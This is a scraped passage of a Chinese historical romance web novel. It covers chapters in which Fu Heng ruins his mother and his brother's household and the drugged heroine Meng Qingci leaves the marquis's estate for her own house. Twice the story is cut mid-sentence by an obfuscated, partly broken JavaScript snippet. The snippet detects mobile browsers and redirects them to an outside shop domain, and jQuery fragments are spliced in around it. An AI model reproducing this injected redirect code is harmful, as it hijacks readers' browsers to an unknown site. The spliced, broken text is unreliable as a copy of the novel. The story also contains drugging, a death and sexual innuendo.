傅老夫人一扬手臂,甩开江氏,立目瞪视江氏,斥她:“你个糊涂东西,什么香熏的话,你也信,蠢货,如今你儿子叫人害了,你还被蒙在鼓里,明明便是叫那晴儿害的。都是你们这些狐媚的东西缠着我的轩哥儿,成日勾他做那些下作勾当,没有廉耻的东西。” 傅珩派到傅老夫人身边的申嬷嬷,不动声色的扶稳傅老夫人,手上暗暗加了力道,既似搀扶,亦是钳制,以免她情绪激动发起疯来,冲撞了三爷。 二太太江氏被吓得双肩颤动,垂了眼,耻辱的咬着下唇,却还是乖顺的应和:“母亲教训得是,都是儿媳的不是。” 江氏刚和傅老夫人从韶光院出来,才明白昨日傍晚,老太婆为何拦着她不叫回韶光院,原是秀玉背叛了她,祖孙俩备着她,还利用她谋划了龌龊。 她看着傅鸿轩倒在她的寝榻上,眼歪口斜不能言,口水不能自控趟的到处都是,四肢抖动如同中风之症,只是‘啊啊~~’不能言语,他身边是秀玉不堪入目的尸|身。 惊惧后,她心里是说不出的畅快,若不是老太婆在身边,她恐怕要仰面大笑起来。 她此时还亢奋的几乎不能自持,只能垂眼掩饰,以防叫老太婆看出端倪,拿她发作起来。 傅珩冷眼看着这个名为他母亲的女人,依稀记得他小时候,这个女人穿着端庄鲜艳的衣裳来见他,带着精致的点心和小玩意,每次面对他,都是小心翼翼又拘谨的讨好。 如同从前的每次见她,都在不断提醒他,他是她用了卑鄙龌龊手段,掠夺的产物。 如今她已经鬓染华发,容颜苍老,撕下伪善的面具,露出面目可憎的一面。而他的身体里切实的掺杂她粗鄙肮脏的血,转而,又会自嘲的想,自己的另一半血也不是什么好东西,也只有老大傅承怀喜欢自欺欺人罢了。 傅老夫人上前一步:“老三,你二哥不在,你要给轩哥儿做主,轩哥儿是你的亲侄儿,你不能轻易的放过老大,叫人立刻把晴儿找出来,叫她去伺候鸿轩,我要这个贱蹄子日日对着鸿轩忏悔。” 嘶声怒吼、无能狂怒后,傅老夫人喘着粗气,她哼哧哼哧的喘|息,略露出疲态来,老大如今不在府里,她想让老三给她做主,最好能扳倒老大。 在这个小儿子近乎冷漠无情,又有几分放空的神情里,恶寒瞬间窜上她的脊背,冷她齿寒到浑身打颤,她抖着手指着这个她最得意的儿子:“是你,是不是你。” “你是我身上掉下来的肉,你怎么能和那个狐狸精生的野种一条心?你怎么能背刺我?背刺你的亲哥哥?那个狐狸精她根本就不配你父亲的深情,她就是个水性杨花的贱人,老大是她生的野种,只有我是一心为你父亲,一心为傅家,你和老二才是傅家正统。当年老太婆糊涂,你父亲也糊涂,现在连你也不信我?”傅老夫人大受打击的想要上前去抓傅珩,却被申嬷嬷控制着不能走近一步:“你是我生的,你不能这么对我,你不能对我不孝。” 申嬷嬷目光冷厉的瞥傅老夫人,手上加了几分力道:“太太还是慎言,咱们老太太在天之灵看着您呢。” 傅老夫人猛地转头看申嬷嬷,眼中难以置信,又闪过一丝惧色,她嗓音颤抖:“你是她的人?你是她院子里养出来的?” “你怎么能把她的人送到我身边来?你怎么能这么对我?你明知道我最厌恶她,最厌恶她身边的人。”她倏然转向傅珩,嘶声力竭的嘶吼:“你是为老太婆回来报复我的?你是我的儿子,你是我的儿子。” 傅珩唇角掠过一丝极淡的讥诮,眸底静如寒潭,不起微澜:“不过是剔除腐肉,拨乱反正罢了。” 傅老夫人听他承认,仍愤然:“那也不能是你,那是你的亲手足,你怎么敢的?你怎么下的去手?” 傅珩声音冷冽如冰:“用一个女人差点毁了傅氏一族的百年基业,手段虽低劣,却着实奏效。你的梦也该醒了,你还不知道,你的宝贝儿子出卖兵器图,通敌叛国罢?陛下早就做了取舍,你已是弃子,唯你还执迷不悟。” “你说什么?你什么意思?老大是大皇子的人,怎么可能通敌叛国?”傅老夫人瞳孔骤缩,如坠冰窟,茫然与恐惧瞬间攫住了她,声音抖得不成调:“老大怎么了?老大不是被外派公干?” 傅珩无情地截断她最后一丝妄念:“待妤姐儿和太子完婚,边关自会传来安义候抵御敌寇,死守粮草,为国尽忠的消息,傅家只能是忠臣。” 傅老夫人惊愕的倒退了数步,她毕竟年事已高,病体未愈,又经此一番歇斯底里,闻此噩耗,意识到最疼爱的儿子和孙子一夕之间都折了,她脑中蓦地一阵晕眩。 恍惚中,耳边不断回荡着‘陛下已取舍......你已是弃子......为国尽忠......傅家只能是忠臣’的字眼。 只见她最得意,最有出息的儿子,薄唇翕动:“你既伤心难抑,日后便去佛堂静修祈福,也好多陪陪二哥,安义侯府从此便物归原主。” 心脏处骤然的钝痛,瞬间攫住了傅老夫人所有的感官。从头到脚是一片死寂的麻木。是被至亲骨血亲,手捅穿心窝,鲜血淋漓、无法呼吸的窒息感。 她涣散的目光扫过院中一个个垂首屏息、恨不得自戳双耳的侍从。 随后,眼峰略过那扇紧闭着的卧房窗扇,她陡然陡然彻悟了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16145123|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她瞳孔震惊又不可置信的回望傅珩,身躯颤动,若不是申嬷嬷和二太太江氏架着,恐便跌坐在地。 骤然间,傅老夫人仰头癫狂大笑了起来,嘶哑刺耳,令人毛骨悚然,她扭曲着面容,带着一种近乎狰狞的得意,双目攫住着傅珩:“原来如此!原来如此!你竟是起了这个心思,难怪!难怪!你竟是连我也骗过了。” “她怕是还不知道罢?”她指向卧房那紧闭的窗扇,声音尖利如鬼魅,带着刻骨的怨毒:“你真狠呢,你果真像极了你父亲,一样的道貌岸然,不过,你骨子里更像我!够狠!够毒!哈哈哈……你且等着!一报还一报!一报——还一报!” “老夫人伤心过度,癔症了!还不快扶下去静养!”申嬷嬷见傅老夫人语无伦次,已全然癫狂,驱使几个粗壮仆妇上前,将她架走。 申嬷嬷方转身对傅珩恭敬的行礼:“老奴余生便留在侯府,侍奉老夫人,非死不出。请三爷放心。” 傅珩抿唇一言不发,看着亲娘被拖出无衡山房,才对申嬷嬷摆了摆手。 申嬷嬷退下前,终是忍不住,语带深忧:“老奴日后不能随侍三爷身侧,万望三爷……善自珍重,凡事宽心。老太太在天之灵见您如此,必是忧心难安。” 傅珩这才抬眸看她一眼,静默半晌道一句:“知道了,必不令祖母挂怀。” 申嬷嬷这才放心的颔首,躬身退走。 二太太江氏站在院子里,心里不知道是震惊多些还是狂喜多些,侯府的陈年秘辛,似乎不能引起她的兴致,她呆滞的看着老太太被带下去,脑子还没转过弯儿。 眼见着申嬷嬷也退下了,院子里只剩下她一个外人,她不自然的调整自己脸上的神情,不知道傅珩想看自己伤心多些,还是麻木多些,唇角抽动几次,才僵硬道:“大爷是为国尽忠,大局为重,老太太是疼糊涂了,小叔莫要计较,我会劝着老太太的,过了这一阵也就好了。” 傅珩这才拿正眼看他二哥的这位继室,轻笑了下:“二嫂倒是个难得的通透人,那便拜托二嫂了。” 二太太江氏见傅珩笑,只觉得胆寒,想想那对儿父子的惨状,对亲兄弟也能赶尽杀绝,斩草除根。竟觉这位小叔比大伯还要骇人,不动声色,兵不血刃,忙不迭应声,匆忙借机退走,都不敢细想,他那屋里的人是不是晴儿。 孟清辞对侯府的人和事一概不关心,不甚明白的听了一场,并不细究。只暗自惊讶,傅珩如此说,安义候怕是已凶多吉少,搞不好除了京畿,人就死透了。 想不到,傅珩此次回京,竟是要料理老太太和二房,观他的态度,自己伤了傅鸿轩一事,当是无需再忧。思及此,她紧绷的心弦骤然一松,虚弱地长吁出一口浊气。 傅珩掀开床幔挂起,见晴儿眼睫颤动,畏光的微眯双眸,心下稍定,修长如竹的指尖,将她颊边的发丝掠开。 “可是渴了?”言罢,转身执起茶壶,亲自斟了杯水,撩起衣摆端坐于床沿,扶起晴儿,让她虚软的身子靠在自己肩头,试过水温,这才将杯盏递至她唇边,仔细喂给她。 22. 第 22 章 孟清辞昨夜不知道,浑身湿透过多少次,她都怀疑自己脱水了,也不推辞,就着傅珩的手,将一杯都饮尽了。 她清醒时,还从未对他如此不防备,傅珩心情颇好地轻笑出声:“喝慢些。” 他又倒了一杯喂给她,待她喝完,才问道:“可有哪里不舒服?” 孟清辞觑他一眼,蔫蔫的说:“浑身没劲儿。” 她垂下眼眸掩饰情绪,不知是不是错觉,靠近他的时候,从骨缝里隐隐泛着悸动,总觉得那股药劲儿还没过。 ‘离不了情’也许和避孕药一样,短期内会扰乱荷尔蒙,让人产生认知错觉。 傅珩唇角噙着抹笑意:“你哼唧了一夜,天都亮了才消停下来,自然没劲儿。” 孟清辞后面全然记不得了,被他说的脸色赧然,红云浮面,羞恼地去推搡他,双手撑着床榻做起身来,嗓音滞涩如砂纸:“谁要你听?不是叫你出去么?” 傅珩喉间逸出一声低笑,目光深邃难辨,隐含侵略:“全不记得了?” “不记得了。”孟清辞动作凝滞了一瞬,才轻轻颔首。 他刚在外面将亲生母亲刺激得几欲疯癫,又冷酷无情地弄死亲哥哥,转脸却能若无其事地与自己调笑。孟清辞心中不禁泛起一股强烈的扭曲感,极端荒诞又倍感割裂。 傅珩不似平日端肃沉郁,端着官威,他好脾性莞尔一笑,不以为意,而是拿过床边小几上,那张薄薄的房楔递给她:“送你的便收好,去此宅养几日身子,待妤姐儿与太子完婚,便随我南下。” 孟清辞接过楔书,瞧着房主落款处,已然由宋泊简换成了是自己的名字,食指在‘孟清辞’三个字上摩挲,好像是她,又不全然是她。 同样的话再说一次与她听,孟清辞还有什么不明白的? 傅珩从没与她商量,他沉浮官场十余年,非是傅晏桉那等毛头小子,更不是傅鸿轩那等庸碌废物。他是巡抚闽广的封疆大吏,说一不二,不容置喙,她的心机根本不够看。 “谢三爷维护之情,奴婢实无以为报。”这次,孟清辞很是痛快的颔首应下,将那张房楔仔细折好,收进贴身荷包。 她总要先从侯府出去,没有傅珩相助,即便握有良籍,此刻想要踏出安义侯府这方囚笼,亦是难如登天——傅老夫人不会放她,傅晏桉不肯放她,傅静妤更不会放她。 “你已是良籍,至此,不必再自称奴婢。”傅珩总觉她的一声‘奴婢’是在提醒他,她是他侄女的婢女。又意味深长道:“总有你报恩的时候,不急于一时。” 孟清辞不想与他分辨,装作并没细听,只侧过脸去,几不可察地撇了撇唇,别扭中透着一丝羞涩:“我要沐浴。” “好,叫他们伺候你。”她乖顺又使小性子的模样,让傅珩心里舒畅,拂散了几分心头的积郁阴霾,顺势在她单薄的肩头轻轻一按。 孟清辞顺势拉住他手臂,赤城恳求:“二太太不容易,万事皆不予她相干,能不能求.....求三爷放她出府去?” 二房一倒,二太太江氏日后在侯府只会身份尴尬,举步维艰,不如趁此机会,收了私房一走了之,有傅珩发话,大房也不会做的太难看。 孟清辞帮江氏求情,一方面是为了还江氏一个人情,一方面是想试探傅珩。 “便依你。”傅珩知她乞怜未必有几分真心,却也心下发酸发胀,随即利落起身,大步流星地朝外走去。 孟清辞看着傅珩离开的背影,他昨日并没有趁人之危,说他是如璋如玉的柳下惠不为过。若说他如传闻般厌女,她与他身份悬殊,他对自己却过于亲昵,连自己的床榻都肯让给她,一时竟有些看不懂他。 她略略抚平身上褶皱的衣衫,正欲起身下榻,却见外间有人进来,朝她恭敬一礼:“姑娘是先用膳,还是先沐浴?” 孟清辞闻声讶然抬首:“霞光?怎会是你?” “对不起,之前咱们各为其主。”霞光面上立时浮起一层愧色,抬手将鬓发别在耳后,掩饰自己的尴尬。 “先沐浴吧!”孟清辞霎时了然点头,侯府的仆婢们亲戚连着亲戚,关系盘根错节,霞光孑然一身,在府中无依无靠,孤木难支下投了傅珩,不足为奇。 无衡山房门外,傅晏桉被墨玉、墨文拦着,无法再进一步,他眸光锐利,忽地冷笑一声,语带讥诮:“呵,怎么?三叔拘着我的人,如今连面都不允一见,这是何道理?莫要忘了,晴儿终究是我妹妹房里的婢女!” “大少爷恕罪。主子行事,非我等所能置喙。主子严令在此,今日只能委屈您了。”墨玉语带恭敬,却一手稳按腰间刀柄,身形纹丝不动。 傅晏桉凝眉不悦:“我今日便非要闯呢?” 墨文不善言辞,见傅晏桉身后的仆从要硬闯,他的刀更快,清锐铿鸣,刀锋出鞘寸许,锋利寒芒摄人。 傅晏桉脸色冰冷阴戾,眸中寒光凛冽,戾气翻涌。他紧抿薄唇,一言不发,只抬手向后一挥,示意仆从退下。 三叔身边皆是军中历练出的悍卒,他的仆从根本不够看,他更不能因为一个女子,在府里与长辈的亲信冲突,大打出手,到时候,父亲头一个不放过晴儿。 万般权衡,他只得将满腔怒火生生咽下,猝然一甩袍袖,转身大步离去。 傅晏桉步履如风,穿过园子,疾步进了碧琼苑,他毫不收敛锋芒,浑身冷厉阴鸷,也不等婢女通传,猛地掀开珠帘,一甩帘子进来。 傅静妤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16149384|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正与芸笺看账册,抬眼见他面色不善,便不动声色地向芸笺递了个眼色。芸笺会意,悄然退下备茶,其余人等亦被屏退至门外远远守着。 她这才慢条斯理地合上手中账册,玉指轻按册页,抬眸望向傅晏桉,才问:““何事竟惹得兄长如此雷霆之怒?” 傅晏桉坐在傅静妤对面的圈椅里,没好气的扫她一眼,三言两语将方才之事说完,开门见山道:“他不好驳你的面子,你即刻打发人过去,把晴儿给我讨回来!” 傅静妤轻呷了口茶,眸光微抬,掠过傅晏桉紧绷的面容:“晴儿何等剔透玲珑?我昨日为你,对她冷眼旁观、未施援手,已是彻底开罪了她,主仆情分变算完了。 莫说我这个做侄女的,不能上赶着给三叔难堪,便是添颜去了,晴儿如今是良籍之身,有我背刺在先,她是绝不会回来的。” 她放下茶盏,轻叹一声,语带无奈:“当年你将人送来,这些年锦衣玉食,与我同席而食,共师而学,她悟性甚至在我之上,却处处懂得藏拙,顾全我的颜面,这样足智多谋的女子,怎会甘愿困于后宅,任你搓圆捏扁?如今你一招不慎,满盘落索。又有三叔有心横亘其中,已经没有转圜的余地,兄长,听我一言,放手吧。眼下大房仰仗三叔之处甚多,不宜再生枝节。” 傅静妤还有一言没与他说,只在心里想:以晴儿的烈性子,出了昨日的事儿,被信任的人背刺,她不在三叔面前挑唆便是烧高香了。 傅晏桉叫这一通话说的没了脾气,却也不甘心罢手,他垂首沉默,眼睑低敛,投下浓重的阴影,指节在袖中无声攥紧。 傅静妤也不催促,兀自执起账册,指尖划过一行行墨字,室内只余纸页轻响。 恰在此时,傅珩的小厮疾步至门外回禀:“大少爷,刑部来人了,言有紧急公务,刻不容缓,请大少爷即刻移步!人已在府外立候。” 傅晏桉喉结滚动,紧抿的唇线透出冷硬。他倏然起身,一言不发拂袖而去。彼时他尚不知,此一去,竟直至妹妹大婚前夕方能回转府中。 无衡山房内,霞光已备好一室氤氲热水。她扶着孟清辞步入浴房,欲留下伺候,却被孟清辞轻轻抬手止住。 “出去吧。”孟清辞声音虽轻,却带着不容置喙的疏离。 霞光微怔,唇瓣翕动,想说什么,终是默默垂首,依言退了出去。将门扉轻轻掩上。 她躺在浴桶里,浑身骨头像是被拆过,被扰乱荷尔蒙后,肌肤敏感,浸泡在水中,绵延的水波冲击着酥腻高峰,缓解了月长痛感, 她散了乌黑的长发,闭眼仰躺,热气熏红双颊,却觉水意潺潺,缓缓而泄,情意缠绵,磨人的很,心里咒骂傅鸿轩,恨不得再戳他个三刀六洞解气。 23-30 第23章 第 23 章 蚀骨焚心 霞光被调来前, 申嬷嬷特意将她唤去,好生嘱咐了一番,尤其强调了女子养身与子嗣之事。她便知, 晴儿怕是得了三爷的垂青, 身份已今非昔比。 只不知道日后给个什么位分,不过晴儿是三爷第一个女人, 日后情分亦是不同,想来自己跟着晴儿, 日后的前程也有了着落。 此刻见晴儿对她流露几分疏离,霞光虽不甚明白,服侍起来更是万分谨慎, 小心翼翼。 她扶着晴儿时,只觉那身子娇软无力,行走间脚下虚浮, 俨然便是申嬷嬷嘱咐过的模样,不敢深想,三爷那样端肃沉厉的性子, 昨夜在房事上,如何粗报似弄,竟叫娇花一样的姑娘一夜便萎靡颓败, 来日怎生受得住。 霞光笑着上前搀扶:“姑娘怕是饿了吧?正好, 饭已摆上了。” 孟清辞沐浴后恰似出水芙蓉, 端坐在梳妆台前, 她只用两支镶了琉璃碎宝的石榴钗, 松松挽就云鬓。一袭撒花烟罗衫,衬着紫绡翠纹裙,慵懒淡漠间自透出娴雅气度。唯有眉目间, 浸润着若有似无的春|情,平添几分秾丽风流。 霞光不觉痴了目,心中暗叹:怪道连素来不近女色的三爷也叫迷住,换了这一身,竟比碧琼苑那位正经大小姐瞧着更显贵气雍容。 孟清辞见桌上一小碗阳春面,一盅仙人銮(奶汁炖鸡),一碟鹅鲊(酒腌鹅肉),一道雪霞羹(豆腐芙蓉花),傍林鲜(烤笋),鸡油卷儿,一碗燕窝粥,还有她爱吃的杏仁酪,藕粉桂花糖糕,林林总总有十八九道菜。 看着颇有食欲,她属实饿了,只两口下去,却感觉味儿同嚼蜡。勉强再吃了几口,便搁下了筷子。 霞光见她用的少,忙问:“可是不合胃口?姑娘想吃什么只管吩咐,奴婢叫他们做了送过来便是。”又赶着卖好道:“三爷特意吩咐了,但凡姑娘吩咐,都要紧着您,切不能怠慢了。” “你有心了,记得我的口味,都是些我惯爱吃的,只我实在没什么胃口。”孟清辞不耐烦她说那些,意兴阑珊的摆摆手:“还是快些出府罢。” 霞光瞧她眼底泛青,面色发白,心知她出府心切,又一早得了三爷的交代,便不再劝,只颔首应下,使唤仆婢手脚麻利地收拾停当。 晴儿那日落在韶光院的包袱,早已叫人送了过来,其余物事,待到了那边,缺什么、少什么再置办。 霞光取来织锦云纹斗篷,披在孟清辞身上,仔细戴好兜帽,将她裹得严严实实,这才搀扶她出门去。 马车辘辘前行,蹄声踏踏,听着车外商贩渐起的叫卖声,孟清辞压抑的心绪才略松快了些,至此她彻底摆脱安义侯府,不必再回去了。 她饶有兴致地掀起车帘向外望了片刻,但觉今日天穹澄澈如洗,云朵白得堆絮,积郁之气竟似散了大半。半晌,才缓缓放下帘子。 “你往后……是不必回大太太处了?”孟清辞语气状似随意的问坐在对面的霞光,实则隐含试探,她想知道傅珩对她到底是个什么意思。 霞光闻言,立时正襟危坐,正色答道:“托姑娘的福,奴婢往后便只跟着姑娘伺候,不必再回大房了。” 孟清辞听了,眸色倏地一暗,心下沉沉,百味杂陈。傅珩甘愿自废一个棋子,把霞光从大太太处派来照顾她,也不知道打的什么主意,只能按耐着不去深想霞光话里的深意。 她如今自己身子尚虚,总需将养几日。再则,她想要离开京畿,还得依附傅珩,眼下只能走一步看一步。 马车一路行至宋泊简置下的三进宅院,稳稳停住。霞光这才小心搀扶她下了车。 京畿内城的三进宅院,起价便是一千五百两。这座宅子原是一位国子监讲师所有,一家三代居于此。老讲师致仕时,儿孙功名未成,无奈只得变卖祖宅,举家返乡。 内城的好宅子本就难寻又紧俏,这般雅致的三进院落,是宋泊简费了银子又托人情才寻来的。宋泊简原以为孟清辞要自住,还特意着人重新修葺了一番,添置了不少好家私,连花圃也精心设计的清新雅致。 孟清辞从前在傅静妤身边伺候,难得出来,买下这里后,并没仔细逛过。 此刻见庭院深深,廊上挂着彩绘的明角灯,宝瓶门后郁郁葱葱,别有洞天,正想四下走走,却被霞光柔声劝住:“姑娘身子尚虚,三爷早请了大夫候着,已等了多时。还是先让大夫瞧过,若没什么妨碍,三爷也好安心。这宅子,姑娘想什么时候逛都使得。” 孟清辞轻叹一声,并未推拒。若非在侯府十年磋磨,养就一副多疑的性子,傅珩这般悉心周到,无一处不体贴入微,倒真叫她感激涕零。 且说,正堂里候着的老太医,想来是等得久了。孟清辞与霞光进来时,只见他端坐椅上正打盹儿,脑袋一点一点,身子摇摇晃晃,瞧着怪逗人的,颇有些令人莞尔。 霞光忙上前唤他。刘老太医醒转过来,颇为不耐地抱怨道:“什么了不得的人物,也叫老夫等这许久?” 霞光赔着笑解释:“您多担待,姑娘体虚气弱,路上耽搁了些,这才迟了。” 刘老太医胡子一翘,眉头紧锁:“快着些吧!年纪轻轻的姑娘家,身子骨竟这般不济,可怜见的。” 刘老太医挺着肚子,在孟清辞对面坐定。他眯缝着眼,两指稳稳搭在她腕上,一手慢悠悠捋着胡须,倒有几分掉书袋模样。 孟清辞瞧着这小老头面色红润,摇头晃脑的模样透着几分诙谐,心头的郁气也被冲淡了些许。 约莫半盏茶的功夫,刘太医才收回手,长叹一声:“简直是胡闹!那‘离不得情’也是能这般滥用的?小小年纪,竟如此不知爱惜己身!” 孟清辞心中微动,这老大夫果然有些本事,仅凭脉象便窥见了端倪。 霞光在一旁急切问道:“姑娘身子弱,您看需开什么滋补的好药?只管用最上乘的便是,务必将我们姑娘调理妥当。” “补?补什么补!”刘老太医一听“补”字,原本眯缝的眼睛倏地瞪圆了,胡子几乎要翘上天去。他这才看清孟清辞清艳绝伦的容貌,只那双明眸,眸光散而不凝,唇色苍白,满面倦容,不由拍案大喝:“啧啧啧!那开了荤的老男人当真要不得!纵是求子心切,也断没有这般糟践人的道理!你家爷老牛啃嫩草,竟不知怜香惜玉?瞧这姑娘叫她作践的,元气大伤,去了半条命!叫他趁早收敛些!再这般下去,落下病根,悔之晚矣!” 刘老太医又无奈地长叹一声,兀自摇头感慨:“这混账性子,跟他老子当年简直一个模子刻出来的!早晚有他吃大苦头的时候!” “什么糟老头子,满口胡吣混话,为老不尊的东西,还不赶紧撵出去。”孟清辞听他越说越不堪,骤然色变,霍然起身去了里间。 “好个不识好歹的黄毛丫头!”刘老太医万没料到她突然翻脸,气得一个倒仰,胡子直抖。他一把抄起药箱往肩上一甩,愤然拂袖,大步流星出了门。 霞光忙追出去,一路赔着小心劝慰了几句,再三得了“不必用药”的准话儿,才将老太医送出门外,方折返回来。 霞光见房门紧闭,她在外唤了几声,不见晴儿回应,只得叫来小丫鬟守着门儿,自去安顿布置。 孟清辞本就未曾歇好,这番折腾早已支撑不住。她将老头的胡言乱语抛诸脑后,掩上房门,倒头便沉沉睡去。 睡梦中,尽是些羞臊难耐的纠缠画面。偶有那张熟悉又模糊的面容浮现——他分明端坐轮椅之上,两人却纠缠在一处。 梦中尽是她情难自抑,迫不及待羞臊的急切,那人似从前的无数次那般拒绝,耐着性子温言哄劝,絮絮叨叨那些她自幼便厌烦透顶的大道理。任凭她如何娇嗔耍赖,他自岿然不动。 她红了眼睛,委屈至极,只感觉她在安义侯府遭了许多罪,他依旧铁石心肠,他能为了救她,失去双腿,却不肯疼她一疼。她直觉伤透了心,浑身冷透了,第一次觉得心也死透了。 再睁眼时,已是天光大亮。她如同溺毙之人被拖拽上岸,浑身汗湿淋漓。软腻处,春蜜裹挟,黏腻滞涩,肌肤发胀而异常敏感,忆及昨夜荒唐梦境,她不禁蹙紧了眉头。 倏而,唇角勾起一抹自嘲的讽笑:如今她魂穿此间,再回不去。原世肉身怕早已腐朽,两人算是阴阳永隔,再无可能,总算遂了他的意吧。 她想这‘离不了情’真是霸道,叫她心志不坚,乘虚而入,竟总是让她想起那人。 正在孟清辞正望着如意纹青丝帐顶放空的时候,霞光在外唤她:“姑娘可醒了?您昨日便没进什么东西,若再不起身用些,仔细伤了脾胃。” 孟清辞这才赤脚趿鞋,她拢了拢半敞的中衣,掩住内里那件藕荷色绣海棠的肚兜,将门闩撤下来,霞光悬着的心总算落回实处。 孟清辞方沐发更衣,用毕早膳,便见小丫鬟进来回禀:“姑娘,侯府的紫芙姑娘在外求见。” “既已离了那处,何必再见?见故人又要伤怀,徒惹姑娘烦扰。”霞光在一旁温声劝阻,照三爷的意思,是要姑娘与侯府再无瓜葛,她必然是要拦着。 孟清辞待盥漱净手毕,沉吟:“我若不见她,她回去难复命,罢了,与我无碍,何必叫她为难。”她未料,未等到傅珩,倒先来了紫芙。 霞光心里一软,知晴儿外冷内热,骨子里仁善,当初也如是帮她,便不再多劝,吩咐下去将人引至花厅。 紫芙心情忐忑的步入花厅,便见一架梅兰竹菊描金的罩金屏风,多宝架上摆着精妙绝伦惟妙惟肖的螺钿漆盘、艳丽的窄口釉里红、五彩瓷器等,便是她在大小姐身边见惯了好东西,有些见识,也不免咋舌。 紫芙心中不免暗惊:这小小宅院,布置得看似低调,细观之下却处处透着奢华雅致,绝非一日之功。转念又想,三爷久不归京,侯府里,三爷的无衡山房听说亦是简素,连老太太当初搬进去的好物件儿都给悉数送了出来。却肯为晴儿花这个心思 她正神思纷乱间,抬眼便见晴儿自那架梅兰竹菊描金的罩金屏风后转出身来。 “晴儿,见你好好的,真是太好了,你不知道我多担心你。”她甫一见晴儿,将所思抛开,几分哽咽,眼圈儿先自红了,激动之下便要上前去握孟清辞的手。然而,目光触及对方周身气度,脚步便生生顿住。 晴儿昔日在大小姐身边时,便是四个一等丫鬟里最得脸的一个,吃穿用度皆是顶尖,大少爷和小姐待其亲厚非常。可即便如此,也万万及不上眼前这般光景! 只她身上的一条散花如意云烟裙的织锦便要十两银子一寸,其料子、其工巧,便是大小姐也未曾有过。首饰钗环更是五一不精致,五一不精贵。 紫芙万没料到,三爷竟对她看重至此、上心至此! 细观晴儿眉眼神态,更与从前做奴婢时判若云泥。此刻的她,莫说是哪家闺秀,便是那金尊玉贵的临安郡主立在跟前,恐怕也要逊色几分这通身的矜贵气韵。她从前如明珠蒙尘,而今光华流转,方显真容。 “坐下说罢,我好好的,你莫要再哭了。”孟清辞知她是个藏不住心思的,并不会说谎,是真的担心她,傅静妤亦知道,非紫芙打动不了她,大小姐仍旧是会算计。 紫芙拿出帕子擦了擦眼睛,面有羞赧:“恨我知道的时候晚了,又恨我无能为力。” 孟清辞不想听她旧事重提,提醒她:“我不再是侯府的奴婢晴儿,我如今姓孟,名清辞,你唤我清辞吧。” 紫芙忙接过话头:“是,是,清辞,如今可好了,你有了这个造化,日后也算有个着落,虽说可惜了大少爷” 孟清辞脸色冷了下来,紫芙见了止住了话头,拘谨的揉着帕子,她从不知晴儿冷脸如此威慑骇人,难怪碧琼苑里难缠又油滑的婆子也怕她的紧。 见紫芙模样,孟清辞叹气:“你来何意?直说吧!没主子的允许,你轻易不能出府。” 紫芙心绪纷乱,言辞颠三倒四,皆是因,她不知如何开这个口,见晴儿提及,她忙不迭交代:“大小姐遣我来赔个不是。她也是逼不得已,早将你引为知己,盼你能体谅她的难处。好在如今你安然无恙,是有大造化的人。日后你若遇难处,尽管去寻她,她绝不推辞。” 孟清辞双目轻阖,唇角讥诮的勾起讽笑:“她还真是机关算尽!你回去告诉她,我虽为身奴婢,也自认待她一片真心,问心无愧。如今既已分道扬镳,便不必再费心了。她贵为太子妃,何须如此小心翼翼,防我这等无关紧要的小角色?” 让紫芙来打探虚实,是怕她报复,还是想继续利用? 紫芙面色涨红,尴尬难当。事发时她确不知情,但事后也已明了。无奈一家子都攥在大小姐和大少爷手里,主子的吩咐,她不得不从。好容易舔颜说完,只觉在晴儿面前已无半点颜面 自觉实在无地自容,不敢与晴儿清凌凌干净的眸子对视,她匆匆行了一礼,告辞离去。 霞光见她情态不似作伪,亦有不忍心:“紫芙那样子,怕是伤心了。” 孟清辞语声冷淡:“伤心了才好。伤心了便不再记挂,伤心了才好回去复命。” 霞光不由想,她是有造化才能来伺候晴儿,哦,现在她是孟清辞姑娘。 紫芙踏出这座三进小院,方拭去脸上泪痕。她回望那扇无匾的乌漆木门,旋身,登上了侯府的马车。 马车内,春熙见她回来,双眼泛红,脸上犹有泪痕未干,忙问:“她如何说?主子交代的话可都带到了?” 紫芙下颌微收,眼角上挑,看一眼芸笺,眼眸里是孟清辞没见过的冷淡:“她的性子你还不清楚?本就捂不热,如今离了侯府,更是谁的面子也不肯给,话也不叫说完,就叫赶出来了。” “大少爷待她那般好,连咱们都比下去了,又是那般风流人物,她还有什么不知足?竟如此绝情!真真的白眼狼!”春熙蹙眉埋怨:“这回去怎好和大少爷交差?晴儿这蹄子忒没良心。” “当得如实说吧了。”紫芙讥笑一声:“奉劝你一句,在我面前放肆一句便罢。回去若叫大少爷听见,大小姐也保不住你,非叫你脱层皮不可!锦屏的前车之鉴,这么快就忘了?” 春熙忌惮地侧头抿唇,面上犹带不忿,仍忍不住辩驳:“我哪句话说错了?她就是个狐媚子!下作的浪蹄子!身为大小姐的婢女,竟连大小姐的三叔也敢勾引!见着权势便撇开大少爷,悖逆伦常,不知廉耻,叫大房的脸往哪儿搁?” “随你。”紫芙靠在车壁上,闭眼假寐,暗叹一声:这一遭总算是过了。日后她与晴儿山高水长,她随大小姐入东宫,此生……怕是再难相见了。 且说傅珩这两日不得闲。以他巡抚闽广的身份,非诏不得入京。当年他祖母傅太夫人病故,陛下亦未准其丁忧,仍叫他坐镇闽广。 此番借着侄女成婚入京,除会见世族旧部,更有要务亟待亲自部署,一面还需周旋于御前。 安义侯府大老爷傅承怀的书房内,傅承怀撂下茶盏:“这几日便走?如此仓促?何不等妤姐儿与太子完婚再行?” 